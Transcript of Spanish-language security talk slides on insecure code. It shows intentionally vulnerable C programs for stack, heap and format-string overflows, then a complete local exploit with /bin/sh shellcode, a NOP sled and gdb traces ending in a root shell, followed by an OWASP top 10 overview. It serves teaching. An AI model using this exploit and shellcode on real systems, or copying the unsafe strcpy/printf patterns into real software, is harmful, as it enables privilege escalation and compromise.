Post on 22-May-2015
transcript
¡Ups! Código inseguro.
Carlos A. Lozano Vargas
“Los hackers siempre entran por la vía más facíl”
“Los script kiddies siempre entran por la vía más facíl…
los hackers pasan horas fuzzeando, debuggeando, desensamblando
y explotando”
Vulnerabilidades reportadas a la National Vulnerability Database de EU
Evolución: Del stack buffer overflow a la SQL Injection
Stack buffer overflows
La pila (stack)
Memoria alta: 0xfffffff0
Memoria baja: 0x11111111
ESP
EBP
mov 0xc($ebp), %eaxadd $0x08, %eaxpushl (%eax)mov 0xc(%ebp), %eaxadd $0x04, %eaxpushl (%eax)call 0x804835c <funcion_name>
add $0xc, %espleaveret
push %ebpmov %esp, %ebpsub $0x190, %esppushl 0xc(%ebp)
Prólogo de función
Epílogo de función
Llamada a función
main(){ chart str[10]; strcpy(str, “AAAAAAAAAAAAAAAA”);}
Desbordamiento de un buffer
10 bytes0x41414141
Antes Después
#include <stdio.h>#include <stdlib.h>#include <string.h>
int check_authentification(char *password){int auth_flag=0;char password_buffer[16];
strcpy(password_buffer, password);
if(strcmp(password_buffer, "brilling")==0){auth_flag=1;}if(strcmp(password_buffer, "outgrabe")==0){auth_flag=1;}
return auth_flag;}
int main(int argc, char *argv[]){if(argc<2){printf("Usage: %s <password>\n", argv[0]);exit(0);}
Autenticación vulnerable a BOF
if(check_authentification(argv[1])){printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");printf("Acces granted\n");printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");}else{printf("Access denied\n");}}
Explotación
$ ./auth_overflowUsage: ./auth_overflow <password>
$ ./auth_overflow brilling
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
$ ./auth_overflow outgrabe
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
$ ./auth_overflow testAccess denied
$ ./auth_overflow AAAAAAAAAAAAAAAAAAAAAAA
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Segmentation fault
Explicación (1)
$ gdb -q ./auth_overflow(gdb) list 11 #include <stdio.h>2 #include <stdlib.h>3 #include <string.h>45 int check_authentification(char *password){6 int auth_flag=0;7 char password_buffer[16];89 strcpy(password_buffer, password);10(gdb)11 if(strcmp(password_buffer, "brilling")==0){12 auth_flag=1;13 }14 if(strcmp(password_buffer, "outgrabe")==0){15 auth_flag=1;16 }1718 return auth_flag;19 }20
Explicación (2)
21 int main(int argc, char *argv[]){22 if(argc<2){23 printf("Usage: %s <password>\n", argv[0]);24 exit(0);25 }2627 if(check_authentification(argv[1])){28 printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");29 printf("Acces granted\n");30 print31 }32 else{33 printf("Access denied\n");34 }35 }
Explicación (3)
(gdb)Line number 36 out of range; auth_overflow.c has 35 lines.(gdb) break 9Breakpoint 1 at 0x8048431: file auth_overflow.c, line 9.(gdb) break 18Breakpoint 2 at 0x8048481: file auth_overflow.c, line 18.(gdb) run AAAAAAAAAAAAAAAAAStarting program: /home/vendetta/Code/Art_of_Explotation/auth_overflow AAAAAAAAAAAAAAAAABreakpoint 1, check_authentification (password=0xbfd8d4d0 'A' <repeats 17 times>) at auth_overflow.c:99 strcpy(password_buffer, password);(gdb) x/s password_buffer0xbfd8cfe4: "t\227\004\b<F8><CF><U+063F><FD>\202\004\b<F4><FF><FB><B7>"(gdb) x/x auth_flag0x0: Cannot access memory at address 0x0(gdb) x/x &auth_flag0xbfd8cff4: 0x00000000(gdb) printf 0xbfd8cff4 - 0xbfd8cfe4Bad format string, missing '"'.(gdb) print 0xbfd8cff4 - 0xbfd8cfe4$1 = 16
Explicación (4)
(gdb) x/16xw password_buffer0xbfd8cfe4: 0x08049774 0xbfd8cff8 0x080482fd 0xb7fbfff40xbfd8cff4: 0x00000000 0xbfd8d018 0x080484d9 0xbfd8d4d00xbfd8d004: 0xbfd8d0c0 0xb7fc0c80 0xb7fbfff4 0xbfd8d0300xbfd8d014: 0xbfd8d030 0xbfd8d088 0xb7e8e390 0xb7ffece0
(gdb) continueContinuing.
Breakpoint 2, check_authentification (password=0xbfd8d4d0 'A' <repeats 17 times>) at auth_overflow.c:1818 return auth_flag;(gdb) x/s password_buffer0xbfd8cfe4: 'A' <repeats 17 times>(gdb) x/x &auth_flag0xbfd8cff4: 0x00000041(gdb) x/16xw password_buffer0xbfd8cfe4: 0x41414141 0x41414141 0x41414141 0x414141410xbfd8cff4: 0x00000041 0xbfd8d018 0x080484d9 0xbfd8d4d00xbfd8d004: 0xbfd8d0c0 0xb7fc0c80 0xb7fbfff4 0xbfd8d0300xbfd8d014: 0xbfd8d030 0xbfd8d088 0xb7e8e390 0xb7ffece0
(gdb) x/4cb &auth_flag0xbfd8cff4: 65 'A' 0 '\0' 0 '\0' 0 '\0'
Explicación (4)
(gdb) x/dw &auth_flag0xbfd8cff4: 65(gdb)0xbfd8cff8: -1076309992(gdb)0xbfd8cffc: 134513881(gdb) continueContinuing.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Acces granted-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Program exited with code 046.(gdb)The program is not being run.(gdb) quit
Heap overflows
Heap
Espacioocupado
Espaciolibre
Wilderness
Código vulnerable a HOF
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>
#define BUFSIZE 10#define OVERSIZE 5
int main(){ u_long diff; char *buf1=(char *)malloc(BUFSIZE); char *buf2=(char *)malloc(BUFSIZE); diff=(u_long)buf2-(u_long)buf1; printf(“diff=%d bytes\n”, diff); strcat(buf2, “AAAAAAAAAA”); printf(“buf2 antes del overflow = %s\n”, buf2); memset(buf1, ‘B’, (u_int)(diff+OVERSIZE); printf(“buf2 despues del overflow = %s\n”, buf2); return 0;}
Explotación
# ./heap1Diff = 16 bytesbuf2 antes del overflow = AAAAAAAAAAbuf2 despues del overflow = BBBBBAAAAA
Format string bugs
Código vulnerable a format string bugs
#include <stdio.h>#include <stdlib.h>#include <string.h>
int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2) { printf("Usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); printf("The right way to print user-controlled input:\n"); printf("%s", text); printf("\nThe wrong way to print user-controlled input:\n"); printf(text);
printf("\n");
// Debug output printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
exit(0);}
Explotación
vendetta@pwned:~/code $ ./fmt_vuln hoooooooooolaThe right way to print user-controlled input:hoooooooooolaThe wrong way to print user-controlled input:hoooooooooola[*] test_val @ 0x08049794 = -72 0xffffffb8vendetta@pwned:~/code $ ./fmt_vuln %sThe right way to print user-controlled input:%sThe wrong way to print user-controlled input:%s[*] test_val @ 0x08049794 = -72 0xffffffb8vendetta@pwned:~/code $ ./fmt_vuln &x[1] 8815Usage: ./fmt_vuln <text to print>bash: x: orden no encontrada[1]+ Done ./fmt_vulnvendetta@pwned:~/code $ ./fmt_vuln &HOME[1] 8828Usage: ./fmt_vuln <text to print>bash: HOME: orden no encontrada[1]+ Done ./fmt_vuln
Aprovechamiento de vulnerabilidades
Código para escribir una nota (1)
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>#include <sys/stat.h>#include "functions.h"
void usage(char *prog_name, char *filename) {printf("Usage: %s <data to add to %s>\n", prog_name, filename);exit(0);}
void fatal(char *);void *ec_malloc(unsigned int);
int main(int argc, char *argv[]) {int userid, fd; // file descriptorchar *buffer, *datafile;
buffer = (char *) ec_malloc(100);datafile = (char *) ec_malloc(20);strcpy(datafile, "/var/notes");
Código para escribir una nota (2)
if(argc < 2) usage(argv[0], datafile);
strcpy(buffer, argv[1]);
printf("[DEBUG] buffer @ %p: \'%s\'\n", buffer, buffer);printf("[DEBUG] datafile @ %p: \'%s\'\n", datafile, datafile);
fd = open(datafile, O_WRONLY|O_CREAT|O_APPEND, S_IRUSR|S_IWUSR);if(fd == -1)fatal("in main() while opening file");printf("[DEBUG] file descriptor is %d\n", fd);
userid = getuid();
if(write(fd, &userid, 4) == -1)fatal("in main() while writing userid to file");write(fd, "\n", 1);
if(write(fd, buffer, strlen(buffer)) == -1)fatal("in main() while writing buffer to file");write(fd, "\n", 1);
Código para escribir una nota (3)
if(close(fd) == -1)fatal("in main() while closing file");
printf("Note has been saved.\n");free(buffer);free(datafile);}
Código para buscar una nota (1)
#include <stdio.h>#include <string.h>#include <fcntl.h>#include <sys/stat.h>#include "functions.h"
#define FILENAME "/var/notes"
int print_notes(int, int, char *); int find_user_note(int, int); int search_note(char *, char *);void fatal(char *);
int main(int argc, char *argv[]) {int userid, printing=1, fd;char searchstring[100];
if(argc > 1) strcpy(searchstring, argv[1]);else searchstring[0] = 0;
Código para buscar una nota (2)
while(printing)printing = print_notes(fd, userid, searchstring);printf("-------[ end of note data ]-------\n");close(fd);}
int print_notes(int fd, int uid, char *searchstring) {int note_length;char byte=0, note_buffer[100];
note_length = find_user_note(fd, uid);if(note_length == -1)return 0;
read(fd, note_buffer, note_length);note_buffer[note_length] = 0;
if(search_note(note_buffer, searchstring))printf(note_buffer); return 1;}
Código para buscar una nota (3)
int find_user_note(int fd, int user_uid) {int note_uid=-1;unsigned char byte;int length;
while(note_uid != user_uid) {if(read(fd, ¬e_uid, 4) != 4)return -1;if(read(fd, &byte, 1) != 1)return -1;
byte = length = 0;while(byte != '\n') { if(read(fd, &byte, 1) != 1)return -1; length++; }}lseek(fd, length * -1, SEEK_CUR);
printf("[DEBUG] found a %d byte note for user id %d\n", length, note_uid);return length;}
Código para buscar una nota (4)
int search_note(char *note, char *keyword) {int i, keyword_length, match=0;
keyword_length = strlen(keyword);if(keyword_length == 0)return 1;
for(i=0; i < strlen(note); i++) {if(note[i] == keyword[match])match++; else { if(note[i] == keyword[0])match = 1; elsematch = 0; }if(match == keyword_length)return 1;}return 0;}
Exploit (1)
#include <stdio.h>#include <stdlib.h>#include <string.h>char shellcode[]="\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68""\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89""\xe1\xcd\x80";
int main(int argc, char *argv[]) {unsigned int i, *ptr, ret, offset=270;char *command, *buffer;
command = (char *) malloc(200);bzero(command, 200);
strcpy(command, "./notesearch \'");buffer = command + strlen(command);
if(argc > 1)offset = atoi(argv[1]);
ret = (unsigned int) &i - offset;
Exploit (2)
for(i=0; i < 160; i+=4)*((unsigned int *)(buffer+i)) = ret;memset(buffer, 0x90, 60);memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");system(command);free(command);}
Explicación (1)
vendetta@pwned:/home/vendetta/booksrc $ gdb -q exploit_notesearchUsing host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".(gdb) list1 #include <stdio.h>2 #include <stdlib.h>3 #include <string.h>4 char shellcode[]=5 "\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"6 "\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"7 "\xe1\xcd\x80";89 int main(int argc, char *argv[]) {10 unsigned int i, *ptr, ret, offset=270;11 char *command, *buffer;1213 command = (char *) malloc(200);14 bzero(command, 200); // zero out the new memory1516 strcpy(command, "./notesearch \'"); // start command buffer17 buffer = command + strlen(command); // set buffer at the end1819 if(argc > 1) // set offset20 offset = atoi(argv[1]);
Explicación (2)
2122 ret = (unsigned int) &i - offset; // set return address2324 for(i=0; i < 160; i+=4) // fill buffer with return address25 *((unsigned int *)(buffer+i)) = ret;26 memset(buffer, 0x90, 60); // build NOP sled27 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);2829 strcat(command, "\'");30 system(command); // run exploit31 free(command);32 }33(gdb) break 26Breakpoint 1 at 0x80485fa: file exploit_notesearch.c, line 26.(gdb) break 27Breakpoint 2 at 0x8048615: file exploit_notesearch.c, line 27.(gdb) break 28Breakpoint 3 at 0x8048633: file exploit_notesearch.c, line 28.(gdb) runStarting program: /home/vendetta/booksrc/exploit_notesearchBreakpoint 1, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2626 memset(buffer, 0x90, 60); // build NOP sled(gdb) x/x40 bufferA syntax error in expression, near `buffer'.
Explicación (3)
(gdb) x/40x buffer0x804a016: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a026: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a036: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a046: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a056: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a066: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a076: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a086: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a096: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a0a6: 0xbffff686 0xbffff686 0xbffff686 0xbffff686(gdb) x/s command0x804a008: "./notesearch '\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���"(gdb) contContinuing.
Breakpoint 2, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2727 memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
Explicación (4)
(gdb) x/40x buffer0x804a016: 0x90909090 0x90909090 0x90909090 0x909090900x804a026: 0x90909090 0x90909090 0x90909090 0x909090900x804a036: 0x90909090 0x90909090 0x90909090 0x909090900x804a046: 0x90909090 0x90909090 0x90909090 0xbffff6860x804a056: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a066: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a076: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a086: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a096: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a0a6: 0xbffff686 0xbffff686 0xbffff686 0xbffff686(gdb) x/s command0x804a008: "./notesearch '", '\220' <repeats 60 times>, "\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���"(gdb) contContinuing.Breakpoint 3, main (argc=1, argv=0xbffff824) at exploit_notesearch.c:2929 strcat(command, "\'");
Explicación (5)
(gdb) x/40x buffer0x804a016: 0x90909090 0x90909090 0x90909090 0x909090900x804a026: 0x90909090 0x90909090 0x90909090 0x909090900x804a036: 0x90909090 0x90909090 0x90909090 0x909090900x804a046: 0x90909090 0x90909090 0x90909090 0xdb31c0310x804a056: 0xb099c931 0x6a80cda4 0x6851580b 0x68732f2f0x804a066: 0x69622f68 0x51e3896e 0x8953e289 0xbf80cde10x804a076: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a086: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a096: 0xbffff686 0xbffff686 0xbffff686 0xbffff6860x804a0a6: 0xbffff686 0xbffff686 0xbffff686 0xbffff686(gdb) x/s command0x804a008: "./notesearch '", '\220' <repeats 60 times>, "1�1�1�\231���\200j\vXQh//shh/bin\211�Q\211�S\211��\200�\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���\206���"(gdb) contContinuing.-------[ end of note data ]-------
Program exited normally.(gdb) qvendetta@pwned:/home/vendetta/booksrc $ ./exploit_notesearch-------[ end of note data ]-------sh-3.2#
Vulnerabilidades en aplicaciones Web
OWASP top 10
o Inyecciones de códigoo XSSo Fallos de autenticación y manejo de sesiones erróneoo Referencias directas a objetoso CSRFo Errores de configuracióno Almacenamiento inseguroo Fallos en la restricción de recursoso Protección insuficiente en la capa de transporteo Redirecciones y reenvios inválidos
Inyecciones de código
Vulnerabilidad:– Inyecciones de código
Descripción:– Ocurre cuando código no malisioso es inyectado en la
aplicación con el fin de ejecutar un comando o consulta no contemplada por el desarrollador.
Causa:– Errores de validación de entradas
Consecuencias:– Compromiso de la aplicación, robo de información.
Soluciones:– Validación de entradas, correcta separación cliente-servidor,,
uso de consultas parametrizadas.
Inyecciones de código
Herramientas:– Pangolin– SQL ninja– SQL Map– SQL Inject Me
Inyecciones de código
Cross Site Scripting (XSS)
Vulnerabilidad:– Cross Site Scripting
Descripción:– Inyección de código pobremente escapado que permite
ingresar una sentencia directamente en el campo URL del navegador para modificar la apariencia del sitio Web.
Causa:– Errores de validación de campos.
Consecuencias:– Ingeniería social, robo de identidad, phishing
Soluciones:– Validación de entradas.
Cross Site Scripting (XSS)
Herramientas:– Acunetix– N-Stalker– W3af– XSS Me
Cross Site Scripting (XSS)
Salto de autenticación y erroneo manejo de sesiones
Vulnerabilidad:– Salto de autenticación y erroneo manejo de sesiones
Descripción:– Errores en la generación, manejo y destrucciones de sesiones
y tickets de transacciones.
Causa:– Confianza en frameworks y servidores Web.
Consecuencias:– Ingreso no autorizado, robo de información, robo de
identidad.
Soluciones:– Uso de sesiones y tickets dinamicos, establecimiento de time-
outs, destrucción de sesiones.
Salto de autenticación y erroneo manejo de sesiones
Herramientas:– Paros Proxy– Charles– Tamper Data
Salto de autenticación y erroneo manejo de sesiones
Referencias inseguras a objetos
Vulnerabilidad:– Referencias inseguras a objetos
Descripción:– Referencia a un objeto interno como un archivo,
directorio, base de datos..
Causa:– Manipulación de recursos no autorizada.
Consecuencias:– Acceso a recursos no autorizados.
Soluciones:– Control de accesos a recursos.
Cross Site Request Forgery
Vulnerabilidad:– Cross Site Request Forgery (CSRF)
Descripción:– Ataque en el cual se forza el envio de información HTTP de un
usuario autenticado correctamente, como la sesión y cookies, con el fin de enviar información falsa despues haciendo creer a la aplicación que se es el usuario real.
Causa:– Transacciones multiples.
Consecuencias:– Compromiso de la aplicación.
Soluciones:– Uso de tickets dinamicos para transacciones.
Errores de configuración
Almacenamiento insegurode información
Vulnerabilidad:– Almacenamiento inseguro de información
Descripción:– Almacenamiento de información sin mecanismos de
cifrado.
Causa:– Malas prácticas de resguardo de información.
Consecuencias:– Robo de información.
Soluciones:– Uso de mecanismos de cifrado.
Errores de restricción de URLs
Vulnerabilidad:– Errores de restricción de URLs
Descripción:– Acceso no autorizado a recursos de la aplicación
Causa:– Errores de autorización.
Consecuencias:– Robo de información, acceso no autorizado.
Soluciones:– Uso de matrices de autenticación.
Protección insuficiente en la capa de transporte
Vulnerabilidad:– Protección insuficiente en la capa de transporte
Descripción:– Información enviada en texto claro o mediante
mecanismos de cifrado reversibles
Causa:– Malas prácticas.
Consecuencias:– Robo de información, acceso no autorizado.
Soluciones:– Uso de HTTPS, SSH u otros mecanismos de cifrado.
Protección insuficienteen la capa de transporte
Herramientas:– Wireshark– Trapper– Cain– EavesDrop– Paros Proxy– Charles Proxy– Tamper Data
Protección insuficienteen la capa de transporte
Redirecciones y reenvios inválidos
Vulnerabilidad:– Redirecciones y reenvios invalidos
Descripción:– Errores en el reenvio o redirección del usuario.
Causa::– Malas prácticas.
Consecuencias:– Robo de información, acceso no autorizado.
Soluciones:– Uso de matrices de autorización.
Frases de TI
“Nosotros no nos precupamos del manejo de sesiones, el framework se
encarga de ello”
“Es configurable… ”
“Pero, si, si lo valide…”
“Yo uso Java/.Net…”
“/*Ahorita no hay usuario administrador, pero ya luego checamos eso en producción*/”
¡Gracias!
Carlos A. Lozano Vargasaugusto@bluemammut.com